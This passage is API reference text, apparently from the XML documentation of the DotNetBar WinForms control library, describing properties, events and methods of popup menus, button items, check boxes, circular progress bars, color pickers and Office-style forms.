popup container control which is a parent/holder control for the controls you want to display on the popup. + This method can be used if you do not wish to handle the PopupContainerLoad to add controls to the popup container. + After calling this method you can access PopupContainerControl property to add your controls to be displayed on the popup. + + Indicates whether PopupContainerLoad events are fired. + + + + Displays popup container. + + Horizontal coordinate in pixels of the upper left corner of a popup. + Vertical coordinate in pixels of the upper left corner of a popup. + + + + Displays the sub-items on popup specified by PopupType. + + Popup location. + + + + Displays the sub-items on popup specified by PopupType. + + Horizontal coordinate in pixels of the upper left corner of a popup. + Vertical coordinate in pixels of the upper left corner of a popup. + + + + Raises PopupClose event. + + Event arguments. + + + + Queries whether popup can be closed. + + Source of closing request. + true if popup can be closed otherwise false. + + + + Closes the currently open popup. + + + + + Raises PopupFinalized event. + + Event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Sets the SourceControl for popup menu or toolbar. + + Control that popup menu or toolbar was invoked for. + + + + Occurs when popup container is loading. Use this event to assign control to the popup container. If you want to use same control + that you added to the popup container after popup is closed you must handle the PopupContainerUnload event and remove the control + from the popup container so it is not disposed with the container. + + + + + Occurs when popup container is unloading. Use this event to save any state associated with the control that was contained by the container or + to remove the control from the container so it is not disposed with container. + + + + + Occurs when popup item is about to open. + + + + + Occurs while popup item is closing. + + + + + Occurs while popup item is closing. + + + + + Occurs after popup item has been closed. + + + + + Occurs just before popup window is shown. + + + + + Gets the size of the popup before it is displayed. + + + + + Gets or sets whether popup on-screen position is verified and popup location adjusted so it does not cross boundaries of the screen. + + + + + Indicates whether sub-items are shown on popup Bar or popup menu. + + + + + Indicates the font that will be used on the popup window. + + + + + Indicates side bar for pop-up window. + + + + + Gets or sets the location of popup in relation to it's parent. + + + + + Gets or sets the popup offset. + + + + + Gets or sets the popup location. + + + + + Indicates when menu items are displayed when MenuVisiblity is set to VisibleIfRecentlyUsed and RecentlyUsed is true. + + + + + Indicates Animation type for Popups. + + + + + Specifies the inital width for the Bar that hosts pop-up items. Applies to PopupType.Toolbar only. + + + + + Gets the control that is displaying the context menu. + + + + + Gets the reference to the internal host PopupContainerControl control. + + + + + Provides support for personalized menu items. + + + + + Creates new instance of ButtonItem. + + + + + Creates new instance of ButtonItem and assigns the name to it. + + Item name. + + + + Creates new instance of ButtonItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Overloaded. Serializes the item and all sub-items into the XmlElement. + + XmlElement to serialize the item to. + + + + Overloaded. Deserializes the Item from the XmlElement. + + Source XmlElement. + + + + Called when NotificationMarkText property has changed. + + Old property value + New property value + + + + Called when NotificationMarkPosition property has changed. + + Old property value + New property value + + + + Called when NotificationMarkSize property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when NotificationMarkOffset property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Called when button image has changed. + + + + + Called when container of the item has changed. + + Previous item container. + + + + Overriden. Draws the item. + + Item paint arguments. + + + + Resets ImageFixedSize property to its default value. + + + + + Gets whether ImageFixedSize property should be serialized. + + + + + Gets whether FixedSize property should be serialized. + + + + + Resets the property to default value. + + + + + Overridden. Recalculates the size of the item. + + + + + Overloaded. Called when size of the item is changed externally. + + + + + Starts the button pulse effect which alternates slowly between the mouse over and the default state. The pulse effect + continues indefinitely until it is stopped by call to StopPulse method. + + + + + Starts the button pulse effect which alternates slowly between the mouse over and the default state. Pulse effect + will alternate between the pulse state for the number of times specified by the pulseBeatCount parameter. + + Specifies the number of times button alternates between pulse states. 0 indicates indefinite pulse + + + + Stops the button Pulse effect. + + + + + Indicates whether the item enabled property has changed. + + + + + Provides internal implementation for ButtonItem mouse down events. + + Mouse event arguments. + + + + Occurs when the item is double clicked. This is used by internal implementation only. + + + + + Returns the Font object to be used for drawing the item text. + + Font object. + + + + Called after Checked property has changed. + + + + + Called when Visibility of the items has changed. + + New Visible state. + + + + Sets Checked property without firing any events or performing any built-in logic. + + + + + Fires CheckedChanged event. + + + + + Fires OptionGroupChanging event. + + + + + Occurs just before Click event is fired. + + + + + Returns the shortcut string that is displayed on tooltip. + + + + + + Gets or sets the current font for the button. + + + + + Creates new ButtonItem with text set to corresponding item from string array and adds it to SubItems collection. + + + + + + Creates new ButtonItem with text set to corresponding item from string array and adds it to SubItems collection. + + Click event handler assigned to each item + + + + Occurs when Checked property has changed. + + + + + Occurs before an item in option group is checked and provides opportunity to cancel that. + + + + + Indicates whether images assigned to the button are disposed when button is disposed. Default value is false. + + + + + Specifies maximum of 2 character text displayed inside of the notification mark on top of the button. + + + + + Indicates the position of the notification marker within the bounds of the button. + + + + + Specifies diameter of notification mark. When set to 0 system default value is used. + + + + + Gets or sets background color of the notification mark. + + + + + Specifies the offset for the notification mark relative to its position. + + + + + Gets/Sets the image position inside the button. + + + + + Gets or sets the custom color name. Name specified here must be represented by the corresponding object with the same name that is part + of the Office2007ColorTable.RibbonTabItemColors collection. See documentation for Office2007ColorTable.RibbonTabItemColors for more information. + If color table with specified name cannot be found default color will be used. Valid settings for this property override any + setting to the Color property. + Applies to items with Office 2007 style only. + + + + + Gets or sets the predefined color of the button. Color specified applies to buttons with Office 2007 style only. It does not have + any effect on other styles. Default value is eButtonColor.Default + + + + + Gets/Sets the button style which controls the appearance of the button elements. Changing the property can display image only, text only or image and text on the button at all times. + + + + + Indicates whether the item will auto-expand when clicked. + When item is on top level bar and not on menu and contains sub-items, sub-items will be shown only if user + click the expand part of the button. Setting this property to true will expand the button and show sub-items when user + clicks anywhere inside of the button. Default value is false which indicates that button is expanded only + if its expand part is clicked. + + + + + Gets or sets the color of the Symbol. + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Specifies the Button icon. Icons support multiple image sizes and alpha blending. + + + + + Specifies the Button image which is used when button background is black or very dark. Image is used when button text is white. This is provided for Metro style applications. + + + + + Specifies the Button image. + + + + + Specifies the small Button image used by Ribbon control when small image variant is needed because of the automatic button resizing or + because the button is on the Quick Access Toolbar. + + + + + Gets or sets the image size that is used by the button when multiple ImageList controls are used as source for button image. + By default ImageList assigned to Images property of parent control is used. Using this property you can selection ImagesMedium or + ImagesLarge ImageList to be used as source for image for this button. + + + + + Gets or sets whether button uses the ImageSmall as source of the image displayed on the button if ImageSmall is set to valid image. Default value is false. + + + + + Specifies the index of the image for the button if ImageList is used. + + + + + Specifies the image for the button when mouse is over the item. + + + + + Specifies the index of the image for the button when mouse is over the item when ImageList is used. + + + + + Specifies the image for the button when mouse left button is pressed. + + + + + Specifies the index of the image for the button when mouse left button is pressed and ImageList is used. + + + + + Specifies the image for the button when items Enabled property is set to false. + + + + + Specifies the index of the image for the button when items Enabled property is set to false and ImageList is used. + + + + + Sets fixed size of the image. Image will be scaled and painted it size specified. + + + + + Gets or sets the fixed size of the button. Both width and height must be set to value greater than 0 in order for button to use fixed size. + Setting both width and height to 0 (default value) indicates that button will be sized based on content. + + + + + Gets whether fade effect is enabled. + + + + + Gets whether Pulse function is enabled. + + + + + Gets whether the button is currently pulsing, alternating slowly between the mouse over and default state. + + + + + Gets or sets whether pulse effect started with StartPulse method stops automatically when mouse moves over the button. Default value is true. + + + + + Gets or sets the pulse speed. The value must be greater than 0 and less than 128. Higher values indicate faster pulse. Default value is 12. + + + + + Gets or sets whether button auto-expands on mouse hover when button is used as menu-item and displayed on menu. Default value is true. + + + + + Indicates whether button should popup when clicked automatically. + + + + + Gets or sets whether Checked property is automatically inverted, button checked/unchecked, when button is clicked. Default value is false. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Gets or set the alternative shortcut text. + + + + + Returns shortcut text if any that needs to be displayed. + + + + + Gets or sets the image bounds. + + + + + Gets or sets sub items bounds. + + + + + Gets or sets text bounds. + + + + + Gets or set the Group item belongs to. The groups allows a user to choose from mutually exclusive options within the group. The choice is reflected by Checked property. + + + + + Gets or sets the text color of the button. + + + + + Gets or sets the text color of the button when mouse is over the item. + + + + + Gets or sets whether the font used to draw the item text is underlined when mouse is over the item. + + + + + Gets or sets whether the font used to draw the item text is bold when mouse is over the item. + + + + + Gets or sets whether the font used to draw the item text is bold. + + + + + Gets or sets whether the font used to draw the item text is italic. + + + + + Gets or sets whether the font used to draw the item text is underlined. + + + + + Gets or sets the width of the expand part of the button item. + + + + + Returns the collection of sub items. + + + + + Gets or sets whether button appears as split button. Split button appearance divides button into two parts. Image which raises the click event + when clicked and text and expand sign which shows button sub items on popup menu when clicked. Button must have both text and image visible (ButtonStyle property) in order to appear as a full split button. + Use AutoExpandOnClick=true if you want to make complete surface of the button display popup when clicked. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the amount of padding added horizontally to the button images when not on menus. Default value is 10 pixels. + + + + + Gets or sets the amount of padding added vertically to the button images when not on menus. Default value is 6 pixels. + + + + + Gets or sets an shape descriptor for the button which describes the shape of the button. Default value is null + which indicates that system default shape is used. + + + + + Indicates item's visibility when on pop-up menu. + + + + + Indicates whether item was recently used. + + + + + Indicates whether mouse is over the item. + + + + + Indicates whether mouse is over the expand part of the button. + + + + + Indicates whether mouse is pressed. + + + + + Indicates the way item is painting the picture when mouse is over it. Setting the value to Color will render the image in gray-scale when mouse is not over the item. + + + + + Gets or sets whether the button text is automatically wrapped over multiple lines when button is used on RibbonBar control. Default value is true. + + + + + Gets or sets whether image animation is enabled + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Occurs when text markup link is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Represents accessible interface for ButtonItem object. + + + + + Represents accessible interface for ButtonItem object. + + + + + Delegate for OptionGroupChanging event. + + + + + Represents event arguments for OptionGroupChanging event. + + + + + Set to true to cancel the checking on NewChecked button. + + + + + Button that will become checked if operation is not canceled. + + + + + Button that is currently checked and which will be unchecked if operation is not canceled. + + + + + Default constructor. + + + + + Stores all information for side bar images that are used by Bar or Popup menu. + + + + + Gets or sets the side bar image. + + + + + Gets or sets the side bar back color. + + + + + Gets or sets the gradient staring color. + + + + + Gets or sets the gradient ending color. + + + + + Gets or sets the gradient angle. + + + + + Gets or sets the gradient staring color. + + + + + Gets or sets whether image is stretched so it fills the side bar or not if image is smaller than current side bar size. + + + + + Summary description for ButtonItemLayout. + + + + + Arranges the button inner parts when button size has changed externally. + + Button to arrange inner parts for. + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Creates new accessibility instance. + + Reference to AccessibleObject. + + + + Starts the button pulse effect which alternates slowly between the mouse over and the default state. The pulse effect + continues indefinitely until it is stopped by call to StopPulse method. + + + + + Starts the button pulse effect which alternates slowly between the mouse over and the default state. Pulse effect + will alternate between the pulse state for the number of times specified by the pulseBeatCount parameter. + + Specifies the number of times button alternates between pulse states. 0 indicates indefinite pulse + + + + Stops the button Pulse effect. + + + + + Gets whether ImageFixedSize property should be serialized. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Notifies a control that it is the default button so that its appearance and behavior is adjusted accordingly. + + true if the control should behave as a default button; otherwise false. + + + + Generates a Click event for the control. + + + + + Displays the sub-items on popup specified by PopupType. + + Popup location. + + + + Displays the sub-items on popup specified by PopupType. + + Horizontal coordinate in pixels of the upper left corner of a popup. + Vertical coordinate in pixels of the upper left corner of a popup. + + + + Called when Command property value changes. + + + + + Occurs when Checked property has changed. + + + + + Gets or sets whether text-markup support is enabled for controls Text property. Default value is true. + Set this property to false to display HTML or other markup in the control instead of it being parsed as text-markup. + + + + + Gets whether the button is currently pulsing, alternating slowly between the mouse over and default state. + + + + + Gets or sets whether pulse effect started with StartPulse method stops automatically when mouse moves over the button. Default value is true. + + + + + Gets or sets the pulse speed. The value must be greater than 0 and less than 128. Higher values indicate faster pulse. Default value is 12. + + + + + Sets fixed size of the image. Image will be scaled and painted it size specified. + + + + + Gets or sets the text alignment. Applies only when button text is not composed using text markup. Default value is center. + + + + + Gets or sets whether during painting OnPaintBackground on base control is called when BackColor=Transparent. + + + + + Gets or sets whether button is focused when pressed using left mouse button. Default value is true. + + + + + Gets whether command is executed when button is clicked. + + + + + Gets or sets the color of the Symbol. + + + + + Indicates the symbol displayed on face of the button instead of the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Specifies the Button image which is used when button background is black or very dark. Image is used when button text is white. This is provided for Metro style applications. + + + + + Specifies the Button image. + + + + + Specifies the image for the button when mouse is over the item. + + + + + Specifies the image for the button when items Enabled property is set to false. + + + + + Specifies the image for the button when mouse left button is pressed. + + + + + Gets or sets the location of popup in relation to it's parent. + + + + + Returns the collection of sub items. + + + + + Gets or sets whether button appears as split button. Split button appearance divides button into two parts. Image which raises the click event + when clicked and text and expand sign which shows button sub items on popup menu when clicked. Button must have both text and image visible (ButtonStyle property) in order to appear as a full split button. + + + + + Gets or sets whether button displays the expand part that indicates that button has popup. + + + + + Gets/Sets the image position inside the button. + + + + + Gets or sets whether mouse over fade effect is enabled. Default value is true. + + + + + Indicates the way button is rendering the mouse over state. Setting the value to Color will render the image in gray-scale when mouse is not over the item. + + + + + Gets or sets the width of the expand part of the button item. + + + + + Gets or sets the text associated with this button. + + + + + Gets/Sets informational text (tooltip) for the button. + + + + + Gets or sets whether mnemonic character assigned to button is processed only if Alt key is pressed. Default value is false which indicate that Alt key is not required. + + + + + + Indicates whether the button will auto-expand when clicked. + When button contains sub-items, sub-items will be shown only if user + click the expand part of the button. Setting this property to true will expand the button and show sub-items when user + clicks anywhere inside of the button. Default value is false which indicates that button is expanded only + if its expand part is clicked. + + + + + Gets or sets whether Checked property is automatically inverted, button checked/unchecked, when button is clicked. Default value is false. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Gets or sets an shape descriptor for the button which describes the shape of the button. Default value is null + which indicates that system default shape is used. + + + + + Gets or sets whether control displays focus cues when focused. + + + + + Gets or sets the custom color name. Name specified here must be represented by the corresponding object with the same name that is part + of the Office2007ColorTable.ButtonItemColors collection. See documentation for Office2007ColorTable.ButtonItemColors for more information. + If color table with specified name cannot be found default color will be used. Valid settings for this property override any + setting to the Color property. + Applies to items with Office 2007 style only. + + + + + Gets or sets the predefined color of the button. Color specified applies to buttons with Office 2007 style only. It does not have + any effect on other styles. Default value is eButtonColor.Default + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Gets or sets the mode by which the Button automatically resizes itself. + + + + + Gets or sets the amount of spacing between button image if specified and text. + + + + + Gets or sets the text color. + + + + + Gets or sets the value returned to the parent form when the button is clicked. + + + + + Gets or sets a value indicating whether the button is expanded (displays drop-down) or not. + + + + + Gets or sets the collection of shortcut keys associated with the button. When shortcut key is pressed button Click event is raised. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Represents class for Accessibility support. + + + + + Creates new instance of the object and initializes it with owner control. + + Reference to owner control. + + + + Returns number of child objects. + + Total number of child objects. + + + + Returns reference to child object given the index. + + 0 based index of child object. + Reference to child object. + + + + Returns current accessible state. + + + + + Summary description for ThemedButtonItemPainter. + + + + + Represents the Check-box item. Use a CheckBox to give the user an option, such as true/false or yes/no. + + + + + Creates new instance of CheckBoxItem. + + + + + Creates new instance of CheckBoxItem and assigns the name to it. + + Item name. + + + + Creates new instance of CheckBoxItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the CheckBoxItem specific properties to new instance of the item. + + New CheckBoxItem instance. + + + + Copies the CheckBoxItem specific properties to new instance of the item. + + New CheckBoxItem instance. + + + + Raises the click event and provide the information about the source of the event. + + + + + + Sets the Checked property of the item, raises appropriate events and provides the information about the source of the change. + + New value for Checked property + Source of the change. + + + + Called when Command property value changes. + + + + + Sets the Checked property of the item, raises appropriate events and provides the information about the source of the change. + + New value for Checked property + Source of the change. + + + + Raises CheckState changed event. + + Event arguments. + + + + Raises CheckedBindableChanged changed event. + + Event arguments. + + + + Called after Checked property has changed. + + + + + Raises the CheckedChanging event. + + + + + Raises the CheckedChanged event. + + + + + Occurs before Checked property is changed and allows you to cancel the change. + + + + + Occurs after Checked property is changed. Action cannot be cancelled. + + + + + Occurs when CheckState property has changed. + + + + + Occurs when CheckedBindable property has changed. + + + + + Gets or set whether the Checked values and the item appearance are automatically changed when the Check-Box is clicked. Default value is true. + + + + + Gets or sets the size of the check or radio sign. Default value is 13x13. Minimum value is 6x6. + + + + + Gets or sets the text associated with this item. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Gets or sets whether text assigned to the check box is visible. Default value is true. + + + + + Gets or sets the text color. Default value is Color.Empty which indicates that default color is used. + + + + + Gets or sets the appearance style of the item. Default value is CheckBox. Item can also assume the style of radio-button. + + + + + Gets or sets the check box position relative to the text. Default value is Left. + + + + + Gets whether mouse is over the item. + + + + + Gets whether left mouse button is pressed on the item. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Gets or sets a value indicating whether the CheckBox will allow three check states rather than two. If the ThreeState property is set to true + CheckState property should be used instead of Checked property to set the extended state of the control. + + + + + Specifies the state of a control, such as a check box, that can be checked, unchecked, or set to an indeterminate state. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box is checked. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box is unchecked. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box is in indeterminate state. + + + + + Delegate for OptionGroupChanging event. + + + + + Represents event arguments for OptionGroupChanging event. + + + + + Set to true to cancel the checking on NewChecked button. + + + + + Check-box that will become checked if operation is not cancelled. + + + + + Check-box that is currently checked and which will be unchecked if operation is not cancelled. This property will have only valid values for eCheckBoxStyle.RadioButton style CheckBoxItems. + + + + + Indicates the action that has caused the event. + + + + + Default constructor. + + + + + Represents painter for CheckBoxItem. + + + + + Paints CheckBoxItem. + + Provides arguments for the operation. + + + + Gets or sets color table used by renderer. + + + + + Represents circular progress indicator. + + + + + Creates new instance of circular progress indicator. + + + + + Creates new instance of circular progress indicator and assigns the name to it. + + Item name. + + + + Creates new instance of circular progress indicator and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the ProgressBarItem specific properties to new instance of the item. + + New ProgressBarItem instance. + + + + Copies the ProgressBarItem specific properties to new instance of the item. + + New ProgressBarItem instance. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Raises ValueChanged event. + + Provides event arguments. + + + + Called when property on CircularProgressBar changes. + + Property Change Arguments + + + + Starts the progress bar loop for endless type progress bar. Progress bar will continue to run until Stop() method is called. + + + + + Stops the progress bar loop for endless type progress bar. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when ProgressTextFormat property has changed. + + Old property value + New property value + + + + Gets or sets the circular progress bar type. + + + + + Gets or sets the maximum value of the progress bar. + + + + + Gets or sets the minimum value of the progress bar. + + + + + Gets or sets the color of the progress percentage text. + + + + + Gets or sets whether text that displays the progress bar completion percentage text is visible. Default value is false. + + + + + Gets or sets the text displayed on top of the circular progress bar. + + + + + Gets or sets the current value of the progress bar. + + + + + Occurs when Value property has changed. + + + + + Gets or sets whether endless type progress bar is running. + + + + + Gets or sets the color of the color of progress indicator. + + + + + Gets or sets circular progress indicator diameter in pixels. + + + + + Gets or sets the text position in relation to the circular progress indicator. + + + + + Gets or sets whether text/label displayed next to the item is visible. + + + + + Gets or sets the suggested text-width. If you want to make sure that text you set wraps over multiple lines you can set suggested text-width so word break is performed. + + + + + Gets or sets text padding. + + + + + Gets or sets the color of the text label. + + + + + Gets or sets the color of the pie progress bar dark border. + + + + + Gets or sets the color of the pie progress bar light border. + + + + + Gets or sets the color of the spoke progress bar dark border. + + + + + Gets or sets the color of the spoke progress bar light border. + + + + + Gets or sets format string for progress value. + + + + + Gets or sets the animation speed for endless running progress. Lower number means faster running. + + + + + Defines available circular progress bar types. + + + + + Line spokes progress bar. + + + + + Dot type/FireFox progress bar. + + + + + Donut type progress bar. + + + + + Spoke type progress bar. + + + + + Pie type progress bar. + + + + + Summary description for ColorFunctions. + + + + + Provides popup color picker. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Gets or sets the reference to the IWindowsFormsEditorService interface used for Windows Forms design time support. + + + + + Gets or sets the ColorScheme object for Scheme colors. + + + + + Gets or sets currently selected color. + + + + + Gets the selected color color scheme name if color scheme color is selected otherwise it returns an empty string. + + + + + Returns true if color selection was cancelled. + + + + + Represents the color comb control that allows color choice from pre-defined color comb palette. + + + + + Raises SelectedColorChanged event. + + Provides event arguments. + + + + Required designer variable. + + + + + Creates new instance of the control. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Raises MouseOverColorChanged event. + + Provides event arguments. + + + + Occurs when SelectedColor has changed. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is true. + + + + + Gets the color mouse is currently over. If mouse is not over any color in comb Color.Empty is returned. + + + + + Gets or sets the selected color. When setting the color note that color must be already present in the color comb otherwise the selected color will be reset to Color.Empty. + + + + + Occurs when MouseOverColor property has changed. + + + + + Represents the color selection control. + + + + + Raises SelectedColorChanged event. + + Provides event arguments. + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Occurs when SelectedColor has changed. + + + + + Gets or sets the selected color. + + + + + Represents color item used for color picker control. Color item can only be used as part of the color picker DotNetBar feature. + + + + + Overloaded. Serializes the item and all sub-items into the XmlElement. + + XmlElement to serialize the item to. + + + + + Gets or sets the color represented by this item. Default value is Color.Black. + + + + + Gets or sets the size of the item when displayed. Default value is 13x13 pixels. + + + + + Gets or sets border drawn around the item. Default value is eColorItemBorder.All which indicates that border is drawn + on all four sides. + + + + + Gets whether mouse is over the item. + + + + + Represents the color picker drop down button. + + + + + Creates new instance of ButtonItem. + + + + + Creates new instance of ButtonItem and assigns the name to it. + + Item name. + + + + Creates new instance of ButtonItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Raises the ColorPreview event. + + Provides the data for the event. + + + + Invokes the ColorPreview event. + + Provides data for the event. + + + + Indicates whether SubItems collection is serialized. ColorPickerDropDown does not serialize the sub items. + + + + + Gets whether property should be serialized. + + + + + Resets the property to its default value. + + + + + Displays the Colors dialog that allows user to choose the color or create a custom color. If new color is chosen the + SelectedColorChanged event is raised. + + + + + Raises the BeforeColorDialog event. + + + + + + Update the selected color image if the SelectedColorImageRectangle has been set and button is using Image property to display the image. + + + + + Gets collection of ColorItem[] arrays that represent themed colors. Each ColorItem[] array is used to represent single line of theme colors. + + Collection of ColorItem[] arrays. + + + + Returns an array that represents the standard colors. Usually instances of ColorItem are included. + + ArrayList containing objects that describe standard colors. + + + + Invokes SelectedColorChanged event. + + + + + Occurs when color is chosen from drop-down color picker or from Custom Colors dialog box. Selected color can be accessed through SelectedColor property. + + + + + Occurs when mouse is moving over the colors presented by the color picker. You can use it to preview the color before it is selected. + + + + + Occurs before color picker dialog is shown. Data property of the event arguments will hold the reference to the Form about to be shown. + + + + + Gets or sets the last selected color from either the drop-down or Custom Color dialog box. Default value is + Color.Empty. You can use SelectedColorChanged event to be notified when this property changes. + + + + + Gets or sets whether theme colors are displayed on drop-down. Default value is true. + + + + + Gets or sets whether standard colors are displayed on drop-down. Default value is true. + + + + + Gets or sets more colors menu item is visible which allows user to open Custom Colors dialog box. Default value is true. + + + + + Gets or sets the rectangle in Image coordinates where selected color will be painted. Setting this property will + have an effect only if Image property is used to set the image. Default value is an empty rectangle which indicates + that selected color will not be painted on the image. + + + + + Gets whether internal representation of color items on popup has been initialized. + + + + + Gets or sets the Owner Window that will be used as owner for the colors modal dialog when displayed. + + + + + Gets or sets the array of ColorItem objects that will be used as theme colors instead of built-in color palette. + See: http://www.devcomponents.com/kb2/?p=79 for instructions. + + + + + Gets or sets the array of ColorItem objects that will be used as standard colors instead of built-in color palette. + See: http://www.devcomponents.com/kb2/?p=79 for instructions. + + + + + Indicates whether button should popup when clicked automatically. + + + + + Represents custom color blend selection control. + + + + + Raises SelectedColorChanged event. + + Provides event arguments. + + + + Occurs when SelectedColor has changed. + + + + + Gets or sets the color selected by the control. Color that is assigned must be visible on the face of the control otherwise the SelectedColor will be set to Color.Empty + + + + + Represents the form in Office style with custom borders and caption. + + + + + Represents the form class that should be used instead of standard Form when form caption is provided by Ribbon control + and custom form look and feel in style of Office 2007 is required. This form does not have standard form caption. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Called when EnableCustomStyle property has changed. + + + + + Gets whether custom form styling is enabled. + + true if custom styling is enabled otherwise false. + + + + Gets the array of LinearGradientColorTable objects that describe the border colors. The colors with index 0 is used as the outer most + border. + + Array of LinearGradientColorTable + + + + Returns form custom region. + + New instance of the custom region. + + + + Gets the form path for the given input bounds. + + Represent the form bounds. + + + + + Paints the non-client area of the form. + + + + + Called when WM_NCACTIVATE message is received. + + Reference to message data. + Return true to call base form implementation otherwise return false. + + + + Invalidates non client area of the form. + + Indicates whether complete form is invalidated. + + + + Redraws the non-client area of the form. + + + + + Called when BackgroundImageUnderCaption property has changed. + + Old property value + New property value + + + + Called when RenderFormIcon property has changed. + + Old property value + New property value + + + + Called when RenderFormText property has changed. + + Old property value + New property value + + + + Gets or sets whether Windows Vista Glass support is enabled when form is running on Windows Vista with Glass support. + Default value is true. + + + + + Gets or sets the RibbonControl that is hosted by this form. This property is for internal use only. + + + + + Gets whether Vista glass effect extension over the ribbon control caption is enabled. + + + + + Gets or sets the form's window state. + + + + + Gets or sets whether custom style for the form is enabled. Default value is true. + + + + + Gets or sets top left rounded corner size. Default value is 6. + + + + + Gets or sets top right rounded corner size. Default value is 6. + + + + + + Gets or sets bottom left rounded corner size. Default value is 6. + + + + + Gets or sets bottom right rounded corner size. Default value is 6. + + + + + Gets whether client border is painted in OnPaint method. + + + + + Gets whether ribbon control caption is painted + + + + + Gets or sets whether 3D MDI border is removed. Default value is true. + + + + + Gets whether form uses custom region + + + + + Gets whether Windows Glass effect is rendered on the form when supported by Operating System and enabled using EnableGlass. + + + + + Returns whether form is sizable given form state (maximized, minimized, normal) and FormBorderStyle setting. + + + + + Gets or sets whether non-client area of the form rendering is enabled. + + + + + Indicates whether form BackgroundImage is pulled up and rendered under form caption as well. + + + + + Indicates whether form icon is drawn. This is different from ShowIcon property which when set to false also removes the form icon from task-bar. Setting this property to false will keep form icon in task-bar but will hide on the form. + + + + + Indicates whether form Text is rendered in form caption. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Raises TitleTextMarkupLinkClick event. + + Provides event arguments. + + + + Gets whether custom form styling is enabled. + + true if custom styling is enabled otherwise false. + + + + Invalidates non client area of the form. + + Indicates whether complete form is invalidated. + + + + Called when WM_NCACTIVATE message is received. + + Reference to message data. + Return true to call base form implementation otherwise return false. + + + + Gets the form path for the give input bounds. + + Represents the form bounds. + + + + + Updates the form title bar text. Usually calling this method is not necessary but under certain conditions when form is used as MDI parent form + calling it to update combined text is necessary. + + + + + Called when CloseEnabled property value has changed. + + + + + Paints the non-client area of the form. + + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + + Occurs when text-markup link in TitleText is clicked. + + + + + Gets or sets the font for the form caption text when CaptionVisible=true. Default value is NULL which means that system font is used. + + + + + Gets whether Vista glass effect extension over the ribbon control caption is enabled. + + + + + Gets or sets the icon for the form. + + + + + Gets or sets a value indicating whether the form enables auto scrolling. + + + + + Gets or sets the Office 2007 Renderer global Color Table. Setting this property will affect all controls in application that are using Office 2007 global renderer. + + + + + Gets whether client border is painted in OnPaint method. + + + + + Gets whether ribbon control caption is painted + + + + + Gets or sets whether anti-alias smoothing is used while painting form caption. Default value is true. + + + + + Gets or sets the redering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Gets or sets the tooltip for the form system icon. + + + + + Clean up any resources 